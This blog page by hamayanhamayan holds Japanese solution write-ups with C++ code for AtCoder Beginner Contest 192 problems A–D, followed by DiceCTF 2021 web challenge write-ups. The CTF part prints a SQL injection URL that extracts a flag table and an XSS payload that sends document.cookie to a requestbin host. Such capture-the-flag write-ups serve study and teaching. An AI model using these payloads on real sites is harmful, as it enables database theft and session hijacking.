はまやんはまやんはまやん

hamayanhamayan's blog

Base n [SOMPO HD プログラミングコンテスト2021(AtCoder Beginner Contest 192) D]

https://atcoder.jp/contests/abc192/tasks/abc192_d

前提知識

解説

https://atcoder.jp/contests/abc192/submissions/20345441

誤読してしまったが、それもまた競プロなので問題を責めるべきではない。

場合分け

例えば、X=1, M=10の場合はどのようなnを選択しても、得られる値は1であり、M以下である。
だが、この場合でも「みなして得られる値」の個数としては1個である。
このように、|X|=1の場合は、どのようなnであっても同じ値となる。
よって、|X|=1だけ場合分けを行う。
X≦Mかを判定して、そうならば1だし、そうでないなら0が答え。
1<|x|であれば、nが変われば値は必ず変わるので、数が重複してしまう問題については無視していい。

考え始め

まず、X=10, M=1018であれば、答えは1018-1になるので、答えを全探索していく方法は微妙。
といって、DPできそうな感じもないので、二分探索かなという感じ。

二分探索

nについて、M以下となるかは単調性を持つ。
具体的にはある値を境にそれ以下であればM以下だし、それより大きいならばMより大きい。
よって、あるnについてM以下であるかの判定関数checkを作れば、それを使って二分探索ができる。

check関数

問題文に言われた通りに行うと、Xをn進数表記に変換していく作業をして、M以下であるかを判定すればいい。
これをそのまま行うとlong longを使ってもオーバーフローしてしまうので、Mをn進数表記に変換して、比較をする実装を行っている。
n進数変換を説明するのは面倒なので、ググってみてほしい。
まあ、問題文で唐突に「n進数表記」と出て理解してるなら、ここは大丈夫か。
あとは、大小比較はサイズを比較して、先頭から順に大小比較していく。

string X; ll M;
//---------------------------------------------------------------------------------------------------
bool check(ll n) {
    vector<ll> Y;
    ll m = M;
    while (0 < m) {
        Y.push_back(m % n);
        m /= n;
    }
    reverse(all(Y));

    if (X.size() < Y.size()) return true;
    else if (X.size() > Y.size()) return false;
    
    // the same size.
    int len = X.size();
    rep(i, 0, len) {
        ll x = X[i] - '0';
        ll y = Y[i];

        if (x == y) continue;
        else if (x < y) return true;
        else return false;
    }

    // X == Y
    return true;
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> X >> M;

    if (X.length() == 1) {
        ll x = stoll(X);
        cout << (x <= M ? "1" : "0") << endl;
        return;
    }

    int ma = -1;
    fore(c, X) chmax(ma, c - '0');

    ll ok = ma, ng = infl;
    while (ok + 1 < ng) {
        ll md = (ok + ng) / 2;
        if (check(md)) ok = md;
        else ng = md;
    }

    ll ans = ok - ma;
    cout << ans << endl;
}

Kaprekar Number [SOMPO HD プログラミングコンテスト2021(AtCoder Beginner Contest 192) C]

https://atcoder.jp/contests/abc192/tasks/abc192_c

解説

https://atcoder.jp/contests/abc192/submissions/20344221

なかなか複雑な問題に見えるが、問題文に書かれていることをシミュレートすれば通る。
この辺のどこから深く考えるかというのはスピードを上げるには重要なことであるが、
過去に見覚えが薄いものは特に、愚直解から考え始めるのがいいだろう。

関数fの実装はC++だと比較的簡単にかける。
to_stringで数を文字列に変換して、ソートしてからstoi関数に書けるとg1,g2が得られるので、あとは引いて答えるだけ。
leading-zeroもstoiはいい感じにしてくれる。
計算量としては、桁数は多くても10桁くらいなので、定数ぐらいに考えておく。
あとは、K回これを実行するので、計算量的にも間に合う。

int N, K;
//---------------------------------------------------------------------------------------------------
int f(int x) {
    string s = to_string(x);
    sort(all(s));

    int g2 = stoi(s);

    sort(all(s), greater<char>());

    int g1 = stoi(s);

    return g1 - g2;
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> K;
    int a = N;
    rep(i, 0, K) a = f(a);
    cout << a << endl;
}

uNrEaDaBlE sTrInG [SOMPO HD プログラミングコンテスト2021(AtCoder Beginner Contest 192) B]

https://atcoder.jp/contests/abc192/tasks/abc192_b

解説

https://atcoder.jp/contests/abc192/submissions/20343662

各文字毎に奇数番目、偶数番目で判定していく。
C++であれば、判定はasciiコードを使用した判定方法を使うのがフルスクラッチでやるには簡単。
大文字であれば文字コードがA~Zの間に、小文字であればa~zの間に収まることを利用して小文字大文字を判定する。
自分の実装では満たすなら何もしないし、満たさないならnoと返すようにしている。

string S;
//---------------------------------------------------------------------------------------------------
#define yes "Yes"
#define no "No"
string solve() {
    int N = S.length();
    rep(i, 0, N) {
        if (i % 2 == 0 && 'a' <= S[i] && S[i] <= 'z') {}
        else if (i % 2 == 1 && 'A' <= S[i] && S[i] <= 'Z') {}
        else return no;
    }
    return yes;
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> S;
    cout << solve() << endl;
}

Star [SOMPO HD プログラミングコンテスト2021(AtCoder Beginner Contest 192) A]

https://atcoder.jp/contests/abc192/tasks/abc192_a

解説

https://atcoder.jp/contests/abc192/submissions/20343316

100で割った余りを使用するのが簡単な解法。
100で割った余りを計算すると、小さい方で一番近い100の倍数との差が得られる。
求めたいのは、反対側、大きい方で一番近い100の倍数との差であるから、100-余りをして答える。

int X;
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> X;
    int ans = 100 - (X % 100);
    cout << ans << endl;
}

DiceCTF 2021 Web Writeups

CTFtime.org / DiceCTF 2021

題名 AC人数 AC 分野(白塗り) 解説
Babier CSP 349/1060 AC CSP Babier CSP [DiceCTF 2021] - はまやんはまやんはまやん
Missing Flavortext 224/1060 AC SQL Injection Missing Flavortext [DiceCTF 2021] - はまやんはまやんはまやん
Web Utils 131/1060 AC HTTP Parameter Pollutionっぽい Web Utils [DiceCTF 2021] - はまやんはまやんはまやん
Build a Panel 96/1060 AC SQL Injection, CSRF Build a Panel [DiceCTF 2021] - はまやんはまやんはまやん
Web IDE 32/1060
Build a Better Panel 13/1060
Watermark as a Service 20/1060

Build a Panel [DiceCTF 2021]

見ると、flagテーブルにflagが入っているが、問題文ではXSSが要求されているように見える。
XSSでadminのtokenを手に入れたあと、flagを手に入れる方法があるのだろうか。
でもcookieはどれもhttponlyがつけられている…CSRFか?
/admin/debug/add_widgetか。よく見るとここはプリペアードステートメントになってない。
INSERT文だが、SELECTを入れ子にすれば、flagを入れることができそうだ。
しかも、panelidは外部から差し込める。
これか…

https://build-a-panel.dicec.tf/admin/debug/add_widget?panelid=c6d4aa32-bb52-4565-b447-63ee4f6ae9e3&widgetname=a&widgetdata={"type":"type"}
これをadminに送ってみる。OK. 自分の所に反映された。

widgetnameにinjected','{"type":"type"}'); --が行けるか?

https://build-a-panel.dicec.tf/admin/debug/add_widget?panelid=c6d4aa32-bb52-4565-b447-63ee4f6ae9e3&widgetname=injected%27%2C%27%7B%22type%22%3A%22type%22%7D%27%29%3B%20--

いけますね

widgetnameに'||(select flag from flag),'{"type":"type"}'); --がファイナルアンサー

https://build-a-panel.dicec.tf/admin/debug/add_widget?panelid=c6d4aa32-bb52-4565-b447-63ee4f6ae9e3&widgetname=%27%7C%7C%28select%20flag%20from%20flag%29%2C%27%7B%22type%22%3A%22type%22%7D%27%29%3B%20--

来ました dice{ch41n_ChAIn_aNd_m0Re_cHaIn}

Web Utils [DiceCTF 2021]

XSSが必要になる。
XSSが成立しそうな所を探してみよう。

画面出力部分ではdocument.querySelector('div').textContent = data;のようにtextContentを使っているので攻めるのは難しそう。
他には…と探すと、view.htmlのif (type === 'link') return window.location = data;に行き着く。
ここなら行けそう。

typeがlinkとなるのは、Link Shortenerの方であるが、こちらの方はapi.jsの以下部分である。

  fastify.post('createLink', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      const regex = new RegExp('^https?://');

んー、window.locationならjavascript:を使いたいが、使えなさそうだ…
なんとかならないか…

  fastify.post('createPaste', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      database.addData({ type: 'paste', ...req.body, uid });

Pastebinの方で使われているAPIが使えそうだ。
こちらならフィルタリングはないので、javascript:は使える。
怪しいのが...req.bodyの部分である。
普通はそう実装しないよなぁという部分に怪しさが垣間見える。

スプレッド構文 - JavaScript | MDN
こういう構文であり、pythonにもあったはず。
分解して引数に置き換えてくれる。
typeがpasteとなっているが、overrideできるんじゃないか?

{"data":"pastebin-body"}

こうなっているので、ここにtypeを入れて、攻撃コードを入れ込んでリクエストを送ってみる。

{"data":"javascript:document.location='https://[requestbin]com/test?cookie='+document.cookie", "type":"link"}

ちゃんとreturnが帰ってくる。

{"statusCode":200,"data":"[id]"}

これで/view/[id]を見てみると、ちゃんとtypeがlinkになっているっぽく、XSS達成できる。
あとは、URLを送ったらCapture the flag.
dice{f1r5t_u53ful_j4v45cr1pt_r3d1r3ct}